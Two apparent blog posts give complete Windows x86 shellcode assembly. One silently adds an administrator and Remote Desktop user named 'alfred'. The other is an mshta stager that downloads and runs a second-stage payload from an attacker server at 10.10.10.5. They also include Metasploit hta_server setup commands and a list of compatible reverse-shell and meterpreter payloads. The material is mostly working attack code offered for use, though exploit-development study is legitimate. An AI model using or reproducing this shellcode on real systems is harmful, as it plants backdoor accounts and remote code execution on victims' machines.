Wednesday, February 24, 2021

Shellcode: Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group (240 bytes)

Today’s post demonstrates how to craft a shellcode using the JMP/CALL/POP technique and static addresses of kernel32.dll functions to bypass the small stack space limitation

Specifically, this Windows x86 shellcode leverages the CreateProcessA API to create a new user and add it to both the ‘Administrators’ and ‘Remote Desktop Users’ groups.

To bypass bad characters, the shellcode alternates the message db string between uppercase and lowercase letters.  

In order to bypass the previously outlined constraints, the following shellcode was written based on these design specifications:

  • Function address of CreateProcessA in kernel32.dll: 0x77082082
  • Function address of ExitProcess in kernel32.dll: 0x770d214f
  • Administartor user credentials: alfred:test
  • Size of message db parameter, 152 bytes -> 0x98 hex = 0x111111A9 - 0x11111111 (0x00 badchar avoidance)

Shellcode Assembly Code:

global _start section .text

_start:
jmp application

firststep: pop edi xor eax, eax mov esi, 0x111111A9 sub esi, 0x11111111 mov [edi+esi], al                       ; size of message db parameter

StartUpInfoANDProcessInformation:
push eax                                ; hStderror null in this case
push eax                                ; hStdOutput, null
push eax                                ; hStdInput, null
xor ebx, ebx
xor ecx, ecx
add cl, 0x12                            ; 18 times loop to fill both structures.

looper: push ebx loop looper ;mov word [esp+0x3c], 0x0101            ; dwflag arg in startupinfo mov bx, 0x1111 sub bx, 0x1010 mov word [esp+0x3c], bx mov byte [esp+0x10], 0x44; cb=3D0x44 lea eax, [esp+0x10]                     ; eax points to StartUpInfo
        ; eax holds a pointer to StartUPinfo         ; esp holds a pointer to Process_Info filled of null values

createprocessA: push esp                                ; pointer to Process-Info push eax                                ; pointer to StartUpInfo xor ebx, ebx push ebx                                ; null push ebx                                ; null push ebx                                ; null inc ebx push ebx                                ; bInheritHandles=3Dtrue dec ebx push ebx                                ; null push ebx                                ; null push edi                                ; pointer to message db string

push ebx                                ; null
mov edx, 0x77082082                     ; CreateProcessA addr in kernel32.dll
call edx

ExitProcess:
push eax                                ; createprocessA return in eax mov edx, 0x770d214f                     ; ExitProcess addr in kernel32.dll call edx

application:
call firststep
message db 'c:\windows\system32\cmd.exe /c net user alfred test /add & net localgroup ADMINISTRATORS alfred /add & net localgroup "Remote Desktop Users" alfred /add'

Supplementary Information: 

Shellcode Architecture: Windows x86
Shellcode Length: 240 Bytes

Tested on: 

  • Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
  • Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
  • Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)



Thursday, January 14, 2021

Shellcode: Windows/x86 - Stager Generic MSHTA (143 bytes)

In this post, I would like to explore the development of a multi-stage shellcode that utilizes the JMP/CALL/POP technique alongside static kernel32.dll function addresses to bypass small stack space restrictions.

Targeting Windows x86 systems, this shellcode leverages the mshta.exe binary to execute a second-stage payload delivered via Metasploit’s hta_server exploit module.

To avoid bad characters, the shellcode alternates the message db string between uppercase and lowercase letters.  

In order to bypass the previously outlined constraints, the following shellcode was written based on these design specifications:

  • Function address of CreateProcessA in kernel32.dll: 0x75732082
  • Function address of ExitProcess in kernel32.dll: 0x7578214f
  • Size in bytes of message db parameter, 65 bytes -> 0x41 hex
  • Message db contains a strings with the static path windows location of mshta.exe binary and the url obtained from hta_server exploit.

Shellcode Assembly Code:

global _start

section .text

_start:

jmp application

firststep:

pop edi

xor eax, eax

mov [edi+65], al ; size in bytes of message db parameter

StartUpInfoANDProcessInformation:

push eax ; hStderror null in this case

push eax ; hStdOutput, null

push eax ; hStdInput, null

xor ebx, ebx

xor ecx, ecx

add cl, 0x12 ; 18 times loop to fill both structures.

looper:

push ebx

loop looper

;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo

mov bx, 0x1111

sub bx, 0x1010

mov word [esp+0x3c], bx

mov byte [esp+0x10], 0x44 ; cb=0x44

lea eax, [esp+0x10] ; eax points to StartUpInfo

; eax has a pointer to StartUPinfo

; esp has a pointer to Process_Info containing null values

createprocessA:

push esp ; pointer to Process-Info

push eax ; pointer to StartUpInfo

xor ebx, ebx

push ebx ; null

push ebx ; null

push ebx ; null

inc ebx

push ebx ; bInheritHandles=true

dec ebx

push ebx ; null

push ebx ; null

push edi ; pointer to message db string

push ebx ; null

mov edx, 0x75732082 ; CreateProcessA addr in kernel32.dll

call edx

ExitProcess:

push eax ; createprocessA return in eax

mov edx, 0x7578214f ; ExitProcess addr in kernel32.dll

call edx

application:

call firststep

message db "c:\windows\system32\mshta.exe http://10.10.10.5:8080/2NWyfQ9T.hta"

Upon execution on the victim machine, this shellcode downloads and executes the configured exploit payload from the attacker’s server using the “hta_server” exploit module in Metasploit. Below is provided an example of the “hta_server” exploit configuration:

# msf6 >
# msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery) # msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list) # msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH) # msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary) # msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution)

It is important to highlight that, this shellcode is compatible with the following Metasploit's payloads:

  • generic/custom
  • generic/debug_trap
  • generic/shell_bind_tcp
  • generic/shell_reverse_tcp
  • generic/tight_loop
  • windows/dllinject/bind_hidden_ipknock_tcp
  • windows/dllinject/bind_hidden_tcp
  • windows/dllinject/bind_ipv6_tcp
  • windows/dllinject/bind_ipv6_tcp_uuid
  • windows/dllinject/bind_named_pipe
  • windows/dllinject/bind_nonx_tcp
  • windows/dllinject/bind_tcp
  • windows/dllinject/bind_tcp_rc4
  • windows/dllinject/bind_tcp_uuid
  • windows/dllinject/reverse_hop_http
  • windows/dllinject/reverse_http
  • windows/dllinject/reverse_http_proxy_pstore
  • windows/dllinject/reverse_ipv6_tcp
  • windows/dllinject/reverse_nonx_tcp
  • windows/dllinject/reverse_ord_tcp
  • windows/dllinject/reverse_tcp
  • windows/dllinject/reverse_tcp_allports
  • windows/dllinject/reverse_tcp_dns
  • windows/dllinject/reverse_tcp_rc4
  • windows/dllinject/reverse_tcp_rc4_dns
  • windows/dllinject/reverse_tcp_uuid
  • windows/dllinject/reverse_winhttp
  • windows/dns_txt_query_exec
  • windows/download_exec
  • windows/exec
  • windows/loadlibrary
  • windows/messagebox
  • windows/meterpreter/bind_hidden_ipknock_tcp
  • windows/meterpreter/bind_hidden_tcp
  • windows/meterpreter/bind_ipv6_tcp
  • windows/meterpreter/bind_ipv6_tcp_uuid
  • windows/meterpreter/bind_named_pipe
  • windows/meterpreter/bind_nonx_tcp
  • windows/meterpreter/bind_tcp
  • windows/meterpreter/bind_tcp_rc4
  • windows/meterpreter/bind_tcp_uuid
  • windows/meterpreter/reverse_hop_http
  • windows/meterpreter/reverse_http
  • windows/meterpreter/reverse_http_proxy_pstore
  • windows/meterpreter/reverse_https
  • windows/meterpreter/reverse_https_proxy
  • windows/meterpreter/reverse_ipv6_tcp
  • windows/meterpreter/reverse_named_pipe
  • windows/meterpreter/reverse_nonx_tcp
  • windows/meterpreter/reverse_ord_tcp
  • windows/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_tcp_allports
  • windows/meterpreter/reverse_tcp_dns
  • windows/meterpreter/reverse_tcp_rc4
  • windows/meterpreter/reverse_tcp_rc4_dns
  • windows/meterpreter/reverse_tcp_uuid
  • windows/meterpreter/reverse_winhttp
  • windows/meterpreter/reverse_winhttps
  • windows/metsvc_bind_tcp
  • windows/metsvc_reverse_tcp
  • windows/patchupdllinject/bind_hidden_ipknock_tcp
  • windows/patchupdllinject/bind_hidden_tcp
  • windows/patchupdllinject/bind_ipv6_tcp
  • windows/patchupdllinject/bind_ipv6_tcp_uuid
  • windows/patchupdllinject/bind_named_pipe
  • windows/patchupdllinject/bind_nonx_tcp
  • windows/patchupdllinject/bind_tcp
  • windows/patchupdllinject/bind_tcp_rc4
  • windows/patchupdllinject/bind_tcp_uuid
  • windows/patchupdllinject/reverse_ipv6_tcp
  • windows/patchupdllinject/reverse_nonx_tcp
  • windows/patchupdllinject/reverse_ord_tcp
  • windows/patchupdllinject/reverse_tcp
  • windows/patchupdllinject/reverse_tcp_allports
  • windows/patchupdllinject/reverse_tcp_dns
  • windows/patchupdllinject/reverse_tcp_rc4
  • windows/patchupdllinject/reverse_tcp_rc4_dns
  • windows/patchupdllinject/reverse_tcp_uuid
  • windows/patchupmeterpreter/bind_hidden_ipknock_tcp
  • windows/patchupmeterpreter/bind_hidden_tcp
  • windows/patchupmeterpreter/bind_ipv6_tcp
  • windows/patchupmeterpreter/bind_ipv6_tcp_uuid
  • windows/patchupmeterpreter/bind_named_pipe
  • windows/patchupmeterpreter/bind_nonx_tcp
  • windows/patchupmeterpreter/bind_tcp
  • windows/patchupmeterpreter/bind_tcp_rc4
  • windows/patchupmeterpreter/bind_tcp_uuid
  • windows/patchupmeterpreter/reverse_ipv6_tcp
  • windows/patchupmeterpreter/reverse_nonx_tcp
  • windows/patchupmeterpreter/reverse_ord_tcp
  • windows/patchupmeterpreter/reverse_tcp
  • windows/patchupmeterpreter/reverse_tcp_allports

Supplementary Information: 

Shellcode Architecture: Windows x86
Shellcode Length: 143 Bytes

Tested on: 

  • Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
  • Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
  • Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)